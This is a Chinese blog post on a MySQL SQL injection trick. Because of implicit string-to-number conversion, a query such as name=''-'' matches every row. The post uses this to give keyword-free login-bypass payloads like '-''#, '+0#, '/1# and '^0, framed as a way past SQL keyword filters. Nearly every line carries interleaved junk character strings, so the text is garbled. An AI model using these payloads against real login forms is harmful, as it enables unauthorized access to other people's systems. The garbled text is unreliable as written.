我们先来看这样一个场景。
4 [0 I4 C! \& Z8 Q: [& p有以下表结构:
4 V% d7 X6 g9 i5 U- H
5 L0 c+ |9 A" U# _9 J, Fmysql> desc admin;
) ^# i6 ]4 m; V2 P, {) B+----------+--------------+------+-----+---------+----------------+$ i5 B, \( W" y) t- r" s( l
| Field | Type | Null | Key | Default | Extra |
8 s/ j# f0 J- l9 y+----------+--------------+------+-----+---------+----------------+
6 r: A& F" S: ~' `4 W6 ]| id | mediumint(9) | NO | PRI | NULL | auto_increment |* v% {2 J7 e& `6 L' ~7 y6 G
| name | char(32) | NO | UNI | NULL | |& `( j( S" Q+ B* Z
| password | char(32) | NO | UNI | NULL | |$ `; R7 d* f7 V4 u/ N! U2 q; {
+----------+--------------+------+-----+---------+----------------+
5 L; x K4 |3 H; i6 U3 rows in set (0.00 sec)1 x" L5 T( b! r
执行select * from admin;,成功返回所有记录内容。! f/ S! d9 T" k: C
: L7 i- Z! Y- ~( ?4 ~7 c9 I
2 o8 ^. X/ p& z I/ A" o+----+--------+----------------------------------+6 i& A. O5 E( U
| id | name | password |1 N/ P" G+ ]) o$ S; _
+----+--------+----------------------------------+0 x1 ~- H% o- I# u
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |& |$ G* o+ V( H4 s# S' Y
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |$ w u7 f* n! O& j1 u
| 4 | n00b | ff80e8508d39047460921792273533a4 |
1 h3 l3 D6 A! w4 p8 I. L: W% L+----+--------+----------------------------------+) c, a. [5 Q. N4 G( u
3 rows in set (0.00 sec)
: \' ?; ]$ n @ E2 Z/ i7 G执行select * from admin where name=”;,没有匹配到任何记录。
. d4 T% v/ |0 b$ _2 W2 b9 m. @! O2 u; i- K8 K
mysql> select * from admin where name = '';
a$ ^! j( n1 S# U6 Z& b$ QEmpty set (0.00 sec)
3 g: x2 D5 G; ^# c# c. M$ a那么我们来执行select * from admin where name = ”-”; ?* x1 v; w/ V
, N! ?6 a( k# F6 j$ Z- b: u: y! n
/ O+ H1 c2 E/ _% t' I+----+--------+----------------------------------+8 K9 E9 E0 W: Y
| id | name | password |- J6 t3 F0 U3 e$ R
+----+--------+----------------------------------+. I6 `9 g% ~' e( a, G, `
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
6 R( u5 D* r, |3 B5 ?* r/ ^' N| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |% d$ x1 \* ] p* j& z
| 4 | n00b | ff80e8508d39047460921792273533a4 |( J/ I4 V3 S; O
+----+--------+----------------------------------+
8 A/ t: P4 `4 y* z4 x+ f1 }0 y3 rows in set, 3 warnings (0.00 sec)
( \6 |0 S7 _! b可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: e3 {. a- a% [- k* ^9 H
2 W7 K @6 u- ~" @+ vmysql> show warnings;
$ J" T N/ v# `& m7 {% y0 e+ c8 H7 M+---------+------+------------------------------------------; k' ~4 m- h1 [ t
| Level | Code | Message
0 `! W7 |: k0 c: S+---------+------+------------------------------------------
- ~! S P( n L! h| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
+ v* E1 n- H( ]' L& [8 k| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
! P0 v+ g! y0 ?+ V5 \4 [| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
! H6 e* q- j9 z* A; V% W1 d+---------+------+------------------------------------------3 {* j6 n& Y9 h3 z
3 rows in set (0.00 sec)
- H( d, K+ `6 G3 V提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 3 F, T3 Z. C$ U3 T' h8 Y
1 `4 R6 |& |% ~2 D7 D
mysql> select ''-'';* J+ a7 m) V- |3 v* U6 z+ t
+-------+. m; ^- [# B% s4 ]) D4 C6 f
| ''-'' |
& w& v" x, S* d4 n+-------+
; d, F; D' |# R' Y3 A| 0 |
6 ?' t* i8 U4 v+ x2 `; x% e+-------+' k4 Q& O6 W0 ^2 U& \$ t
1 row in set (0.00 sec)6 S g9 e, K8 k/ D2 G' {/ G/ e
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: % P) O( [. C- \5 e1 D
% U" g5 M" \: d- c' nmysql> select CAST((select name from admin limit 1,1) as DECIMAL);. L) Q/ s" \# X; s* o' }: h
+-----------------------------------------------------+0 u2 R$ l2 F7 O) C- ^1 }
| CAST((select name from admin limit 1,1) as DECIMAL) |
; a$ _& l7 F5 A& X+-----------------------------------------------------+
7 ~* ~3 Q* r9 ^1 e| 0 |
, j* h: I* }1 R' _, v$ @1 x+-----------------------------------------------------+" s$ ]+ }1 n- f6 L# b
1 row in set, 1 warning (0.00 sec)* {- ?' g$ H" f& z* T) Q
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 7 t2 e( B+ ^3 M
2 Z7 v4 B' [" {7 S i* ^SQL注入场景: http://www.sqlzoo.net/hack/ ! o& q- H4 l# O3 \6 }$ {
, E, Z$ Z, V5 s, h& @2 J
, t4 e7 ?6 b6 w, c) P
9 ?2 q% \/ z: F6 X7 `: {6 P$ U" R7 ~9 I
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
; l! q" X# L- _6 _$ i5 a7 N
( i4 H" O0 F. Q7 U, \那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 & ~+ J; e) @4 T9 A+ v
N2 c8 w; u o( e4 X, R+ u" G. F2 ]; v H( P
# E2 O7 \ H/ B8 f8 i
4 d+ W) t$ Q% R1 R$ Z" t
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
4 e. Q' C$ \. P" n( |. g; r, S
6 C! @' |: \. F6 k2 R 6 B0 |: z# F, F# m
7 R3 z, |: m6 j; R f2 j) _
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可9 E( k3 [6 h( ?( O
* ]1 A; [, C9 \0 Y8 \; z# p& j
/ P- L9 Y9 s! ], ]2 B4 u* H ?
mysql> select ''/1;6 W1 l0 C4 a) ~6 Z1 \
+------+
, v4 O! D r6 F5 o1 E| ''/1 |
7 m+ O* D8 {4 j( C+------+/ o6 ? Z D9 O
| 0 |: K/ I: p9 A: \% |7 N7 g
+------+2 A, W& q o3 P$ u1 Y6 @/ s
1 row in set (0.00 sec)8 e' s" m* T& ~9 i0 F' d) l. T
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 / C0 v) g9 \. d- J4 ^
7 D1 O! {1 E. o6 N, e* d8 z* {! o, @; p利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
9 ]' U* z. I& F( N) d# Q |
|